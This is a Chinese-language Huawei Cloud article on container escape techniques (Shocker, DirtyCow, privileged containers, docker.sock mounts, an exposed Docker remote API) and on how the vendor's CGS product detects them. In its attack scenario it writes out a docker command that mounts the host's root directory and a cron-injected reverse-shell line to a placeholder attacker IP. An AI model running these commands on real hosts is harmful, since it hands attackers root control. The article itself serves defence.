華為云|云原生2.0時(shí)代,企業(yè)都應(yīng)該了解的容器安全

來(lái)源: 華為云社區(qū)
作者:華為云安全
時(shí)間:2021-03-26
17058
隨著云原生技術(shù)的成熟和市場(chǎng)需求的升級(jí),云計(jì)算的發(fā)展已步入新的階段,云原生2.0時(shí)代已經(jīng)到來(lái)。從技術(shù)角度看,以容器、微服務(wù)以及動(dòng)態(tài)編排為代表的云原生技術(shù)蓬勃發(fā)展,成為賦能業(yè)務(wù)創(chuàng)新的重要推動(dòng)力,并已經(jīng)應(yīng)用到企業(yè)核心業(yè)務(wù)。

隨著云原生技術(shù)的成熟和市場(chǎng)需求的升級(jí),云計(jì)算的發(fā)展已步入新的階段,云原生2.0時(shí)代已經(jīng)到來(lái)。從技術(shù)角度看,以容器、微服務(wù)以及動(dòng)態(tài)編排為代表的云原生技術(shù)蓬勃發(fā)展,成為賦能業(yè)務(wù)創(chuàng)新的重要推動(dòng)力,并已經(jīng)應(yīng)用到企業(yè)核心業(yè)務(wù)。從市場(chǎng)角度看,云原生技術(shù)已在金融、制造、互聯(lián)網(wǎng)等多個(gè)行業(yè)得到廣泛驗(yàn)證,支持的業(yè)務(wù)場(chǎng)景也愈加豐富,行業(yè)生態(tài)日漸繁榮。云原生2.0是企業(yè)智能升級(jí)的新階段,企業(yè)云化從“ON Cloud”走向“IN Cloud”,新生能力與既有能力有機(jī)協(xié)同、立而不破,實(shí)現(xiàn)資源高效、應(yīng)用敏捷、業(yè)務(wù)智能、安全可信,成為“新云原生企業(yè)”。

云原生2.0時(shí)代,任何企業(yè)都可以成為“新云原生企業(yè)”,作為云原生的代表技術(shù)之一的容器,每個(gè)企業(yè)都應(yīng)該對(duì)容器安全有所了解。

傳統(tǒng)的虛擬機(jī)能夠基于虛擬化技術(shù)更加有效的利用硬件計(jì)算資源,可以實(shí)現(xiàn)云租戶(hù)的隔離與資源共享。相比虛擬機(jī)來(lái)說(shuō),容器更輕、更快,但是作為一種新技術(shù),容器的安全防護(hù)也與虛擬機(jī)所有不同。

一、容器VS虛擬機(jī)

容器與虛擬機(jī)具有相似的資源隔離和分配價(jià)值,但容器的作用不同,因?yàn)槿萜魇翘摂M化操作系統(tǒng)而不是硬件。容器更便攜,更高效。

1614135105128082099.png

容器VS虛擬機(jī)

虛擬機(jī)(VM)是對(duì)物理硬件的抽象,將一臺(tái)服務(wù)器轉(zhuǎn)化為多臺(tái)服務(wù)器。Hypervisor允許在一臺(tái)機(jī)器上運(yùn)行多個(gè)虛擬機(jī)。每個(gè)虛擬機(jī)都包含操作系統(tǒng)、應(yīng)用程序、必要的二進(jìn)制文件和庫(kù)的完整副本,占用數(shù)十GB的空間。虛擬機(jī)啟動(dòng)速度也比較慢。

容器是應(yīng)用程序?qū)拥囊粋€(gè)抽象,將代碼和依賴(lài)打包在一起。多個(gè)容器可以運(yùn)行在同一臺(tái)機(jī)器上,與其他容器共享操作系統(tǒng)內(nèi)核,每個(gè)容器在用戶(hù)空間中作為隔離的進(jìn)程運(yùn)行。容器比虛擬機(jī)占用更少的空間(容器鏡像通常只有幾十MB大?。梢蕴幚砀嗟膽?yīng)用程序。

二、容器逃逸

1614135137979093332.png

容器逃逸,是容器技術(shù)啟用以來(lái)一直被關(guān)注的問(wèn)題,甚至被認(rèn)為是容器的首要安全問(wèn)題。所謂“逃逸”,指的是“流氓”容器/虛擬機(jī)嘗試突破隔離環(huán)境的限制,訪問(wèn)宿主系統(tǒng)或者在同一個(gè)系統(tǒng)上的同駐容器或虛擬機(jī)。從而造成敏感信息泄露,或者系統(tǒng)及服務(wù)發(fā)生DOS的行為。

1614135232003045884.png

但正是由于容器與宿主系統(tǒng)共享內(nèi)核,因此容器與宿主機(jī)有著更大的接觸面,隔離層次更少,更容易從容器內(nèi)實(shí)施逃逸攻擊。因此,如何解決容器逃逸安全風(fēng)險(xiǎn),避免容器逃逸攻擊帶來(lái)的損失是容器安全中最為重要的一個(gè)問(wèn)題。

三、容器逃逸常用手段

1)通過(guò)容器自身漏洞及內(nèi)核漏洞逃逸

1614135278617051043.png

攻擊的主要途徑之一就是利用漏洞,通過(guò)程序設(shè)計(jì)或?qū)崿F(xiàn)的缺陷來(lái)執(zhí)行非法操作,容器逃逸也不例外。容器自身漏洞是其利用進(jìn)行逃逸的路徑之一,同時(shí)由于容器共享宿主系統(tǒng)內(nèi)核,因此內(nèi)核漏洞是其逃逸的另一路徑,同時(shí)由于內(nèi)核漏洞的數(shù)量遠(yuǎn)遠(yuǎn)大于容器自身漏洞,因此內(nèi)核漏洞甚至成為容器逃逸更為主要的一個(gè)手段。

1.1利用容器漏洞逃逸–shocker攻擊

Shocker攻擊是容器逃逸最著名的案例,其本質(zhì)是利用了一個(gè)不常用的系統(tǒng)調(diào)用open_by_handle_at,同時(shí)借助docker1.0前版本并未限制CAP_DAC_READ_SEARCH能力,并將容器啟動(dòng)時(shí)會(huì)掛載宿主機(jī)文件到容器內(nèi)(如舊版本的/.dockerinit,新版本的/etc/hosts)作為起點(diǎn),執(zhí)行暴力破解攻擊,最終獲取到要訪問(wèn)的宿主系統(tǒng)文件的句柄信息并進(jìn)行讀取,從而實(shí)現(xiàn)逃逸。

Github地址:https://github.com/gabrtv/shocker

容器執(zhí)行shocker攻擊逃逸訪問(wèn)宿主系統(tǒng)/etc/shadow文件:

1614135314746001570.png

1.2內(nèi)核漏洞利用逃逸–dirtycow攻擊

1614135345155077173.png

DirtyCow(臟牛漏洞,CVE-2016-5195)是Linux內(nèi)核中的一個(gè)權(quán)限提升漏洞,其也可被容器利用實(shí)施逃逸。容器利用dirtycow漏洞改寫(xiě)虛擬動(dòng)態(tài)共享庫(kù)VDSO(Virtual Dynamically Shared Objec),并將shellcode置入其中,當(dāng)主機(jī)系統(tǒng)進(jìn)程調(diào)用并執(zhí)行修改后的內(nèi)容時(shí),就會(huì)借用此進(jìn)程身份執(zhí)行置入的shellcode,并最終在容器內(nèi)獲得一個(gè)來(lái)自主機(jī)的root權(quán)限的shell。

1614135352321024725.png

2)不安全配置引發(fā)逃逸

2.1不安全啟動(dòng),如privileged特權(quán)容器

容器以--privileged參數(shù)啟動(dòng)時(shí)稱(chēng)為特權(quán)容器,特權(quán)容器顧名思義具有較高權(quán)限,包括對(duì)宿主機(jī)上的設(shè)備的訪問(wèn)權(quán)限。因此,攻擊者可以直接在容器內(nèi)mount主機(jī)設(shè)備并進(jìn)行文件訪問(wèn),從而輕而易舉實(shí)現(xiàn)逃逸。

1614135415994069533.png

1614135420824043521.png

2.2不安全掛載,如掛載sock到容器

1614135451526014644.png

圖片來(lái)源:https://medium.com/better-programming/about-var-run-docker-sock-3bfd276e12fd

Docker.sock文件是一個(gè)Unix domain socket文件,是Docker daemon默認(rèn)監(jiān)聽(tīng)的套接字文件,docker client通過(guò)它與docker daemon進(jìn)行通信。docker client將信息查詢(xún)和下發(fā)命令等請(qǐng)求通過(guò)docker.sock發(fā)給docker daemon,然后由deamon執(zhí)行具體請(qǐng)求,包括鏡像查詢(xún)、容器創(chuàng)建等。

將docker.sock掛載到容器內(nèi),可以在容器內(nèi)繼續(xù)運(yùn)行一個(gè)容器,實(shí)現(xiàn)docker in docker,并可在容器內(nèi)容器啟動(dòng)時(shí)通過(guò)-v參數(shù)將宿主機(jī)根目錄掛載到容器內(nèi),從而在容器內(nèi)訪問(wèn)宿主機(jī)文件,實(shí)現(xiàn)逃逸。

1614135466456085362.png

2.3 Docker remote api未授權(quán)訪問(wèn)


默認(rèn)情況下,docker daemon只允許通過(guò)unix domain socket–docker.sock進(jìn)行本地通信操作,但除此之外,docker daemon也提供了Restful API供遠(yuǎn)端client訪問(wèn)(daemon通過(guò)-H參數(shù)指定監(jiān)聽(tīng)端口),如果未對(duì)訪問(wèn)進(jìn)行權(quán)限控制及合規(guī)性檢查,則攻擊者也可以訪問(wèn)這個(gè)API執(zhí)行高危操作,并實(shí)施逃逸攻擊。

例如一種攻擊場(chǎng)景:

(1)通過(guò)Remote API創(chuàng)建一個(gè)容器,并將宿主系統(tǒng)根目錄掛載到容器內(nèi):

#docker-H tcp://$IP:$PORT run-it-v/:/mnt ubuntu/bin/bash

其中:$IP表示docker daemon服務(wù)ip,$PORT表示Remote API監(jiān)聽(tīng)端口

(2)將反彈shell命令寫(xiě)入計(jì)劃任務(wù)文件

#echo'*****/bin/bash-i>&/dev/tcp/$IP/$PORT 0>&1'>>/mnt/var/spool/cron/crontabs/root

其中:$IP表示攻擊端IP,$PROT表示攻擊端監(jiān)聽(tīng)端口

(3)攻擊端監(jiān)聽(tīng)上一步中的$PORT端口,獲取來(lái)自對(duì)端(docker服務(wù)所在系統(tǒng))的具有root權(quán)限得反彈shell,并任意訪問(wèn)。

四、華為云容器安全服務(wù)CGS之逃逸安全防護(hù)方案

1614135738689069440.png

華為云容器安全服務(wù)CGS

華為云容器安全服務(wù)CGS構(gòu)建了容器安全威脅縱深防御體系,提供包括鏡像掃描、威脅檢測(cè)與威脅防護(hù)的一整套容器安全能力,提供針對(duì)容器的Build、Ship、Run全生命周期保護(hù)能力,滲透到整個(gè)容器DevOps流程,保證容器虛擬環(huán)境從開(kāi)發(fā)到生產(chǎn)整個(gè)流程的安全。其中,容器逃逸檢測(cè)是CGS的核心功能之一,它通過(guò)如下手段構(gòu)建系統(tǒng)化的容器逃逸全面防護(hù)能力:

1)監(jiān)控容器不安全配置啟動(dòng)

前文中提到,不安全配置是容器逃逸的一個(gè)重要原因。因此,監(jiān)控容器的不安全啟動(dòng)也是容器逃逸防護(hù)的一個(gè)重要手段。CGS可以針對(duì)容器啟動(dòng)的各種不安全配置進(jìn)行監(jiān)控,包括啟動(dòng)特權(quán)容器、掛載宿主機(jī)文件、安全策略關(guān)閉、特權(quán)端口映射等,從容器創(chuàng)建伊始就檢測(cè)逃逸風(fēng)險(xiǎn),實(shí)現(xiàn)整體防護(hù)方案第一步。

2)容器行為深度分析

容器啟動(dòng)后,CGS可對(duì)容器運(yùn)行過(guò)程中的行為進(jìn)行實(shí)時(shí)跟蹤和觀察,監(jiān)控容器內(nèi)的進(jìn)程運(yùn)行、文件訪問(wèn)、網(wǎng)絡(luò)連接、系統(tǒng)調(diào)用等行為,并對(duì)行為進(jìn)行深度分析,從行為過(guò)程體現(xiàn)出來(lái)的特征到行為所產(chǎn)生的結(jié)果進(jìn)行全面分析檢測(cè),有效發(fā)現(xiàn)容器已知和未知漏洞利用逃逸攻擊行為并進(jìn)行告警。

1614135779309071278.png

3)容器基線機(jī)器學(xué)習(xí)

一般而言,容器的行為通常固定且純粹,比如一個(gè)提供web服務(wù)的容器內(nèi)可能只會(huì)運(yùn)行一個(gè)nginx進(jìn)程,一個(gè)提供DB服務(wù)的容器內(nèi)可能只會(huì)運(yùn)行一個(gè)mysql進(jìn)程,并且進(jìn)程所執(zhí)行的操作,包括文件訪問(wèn)、系統(tǒng)調(diào)用、網(wǎng)絡(luò)連接等行為都有固定合理范圍,因此可以對(duì)容器圈定正常行為范圍,構(gòu)建行為基線。CGS利用機(jī)器學(xué)習(xí)技術(shù),從靜態(tài)和動(dòng)態(tài)兩個(gè)維度分析容器正常行為并建立基線,使得基線模型更準(zhǔn)確、更完整,然后根據(jù)基線跟蹤容器行為,感知基線以外的異常行為,實(shí)現(xiàn)對(duì)攻擊行為的全面感知,并有效提升對(duì)于容器利用0day漏洞進(jìn)行逃逸攻擊的檢測(cè)能力。

1614135794815084038.png

華為云CGS容器逃逸方案防護(hù)機(jī)制內(nèi)置在防護(hù)平臺(tái),無(wú)需用戶(hù)參與即可實(shí)現(xiàn)容器逃逸系統(tǒng)化檢測(cè),具有良好的易用性,同時(shí)方案采用事件驅(qū)動(dòng)機(jī)制實(shí)現(xiàn)性能高、反應(yīng)快,為容器安全保駕護(hù)航。

立即登錄,閱讀全文
版權(quán)說(shuō)明:
本文內(nèi)容來(lái)自于華為云社區(qū),本站不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。文章內(nèi)容系作者個(gè)人觀點(diǎn),不代表快出海對(duì)觀點(diǎn)贊同或支持。如有侵權(quán),請(qǐng)聯(lián)系管理員(zzx@kchuhai.com)刪除!
相關(guān)文章
近6成金融機(jī)構(gòu)的選擇!華為云GaussDB加快金融核心系統(tǒng)轉(zhuǎn)型
近6成金融機(jī)構(gòu)的選擇!華為云GaussDB加快金融核心系統(tǒng)轉(zhuǎn)型
當(dāng)前,數(shù)據(jù)庫(kù)在金融機(jī)構(gòu)的應(yīng)用正在從辦公、一般系統(tǒng)逐步邁入核心系統(tǒng)應(yīng)用的深水區(qū)。如何構(gòu)建安全可靠、高效穩(wěn)定的核心系統(tǒng)數(shù)據(jù)庫(kù),支持業(yè)務(wù)運(yùn)營(yíng)和管理決策,成為了眾多金融機(jī)構(gòu)關(guān)注的焦點(diǎn)問(wèn)題。
華為云
2024-07-042024-07-04
華為云以系統(tǒng)性創(chuàng)新加速千行萬(wàn)業(yè)智能化升級(jí)
華為云以系統(tǒng)性創(chuàng)新加速千行萬(wàn)業(yè)智能化升級(jí)
華為云全球銷(xiāo)售收入達(dá)553億元人民幣,是全球增長(zhǎng)最快的主流云廠商之一。
華為云
2024-04-222024-04-22
華為云發(fā)布新型工業(yè)互聯(lián)網(wǎng)平臺(tái)參考架構(gòu)
華為云發(fā)布新型工業(yè)互聯(lián)網(wǎng)平臺(tái)參考架構(gòu)
近日,在華為分析師大會(huì)上,華為混合云副總裁胡玉海重磅發(fā)布《新型工業(yè)互聯(lián)網(wǎng)平臺(tái)參考架構(gòu)》白皮書(shū),在傳統(tǒng)工業(yè)互聯(lián)網(wǎng)的基礎(chǔ)上,融入大模型的能力,讓智能化賦能新型工業(yè)化。
華為云
云服務(wù)
2024-04-222024-04-22
支撐核心系統(tǒng)分布式改造,GaussDB為江南農(nóng)商銀行筑穩(wěn)根基
支撐核心系統(tǒng)分布式改造,GaussDB為江南農(nóng)商銀行筑穩(wěn)根基
在移動(dòng)互聯(lián)網(wǎng)快速普及的當(dāng)下,金融機(jī)構(gòu)能否提供便捷、智能、個(gè)性化的金融服務(wù),成為關(guān)乎業(yè)務(wù)開(kāi)展和企業(yè)成長(zhǎng)的重要命題。
華為云
2024-01-252024-01-25
優(yōu)質(zhì)服務(wù)商推薦
更多
掃碼登錄
打開(kāi)掃一掃, 關(guān)注公眾號(hào)后即可登錄/注冊(cè)
加載中
二維碼已失效 請(qǐng)重試
刷新
賬號(hào)登錄/注冊(cè)
個(gè)人VIP
小程序
快出海小程序
公眾號(hào)
快出海公眾號(hào)
商務(wù)合作
商務(wù)合作
投稿采訪
投稿采訪
出海管家
出海管家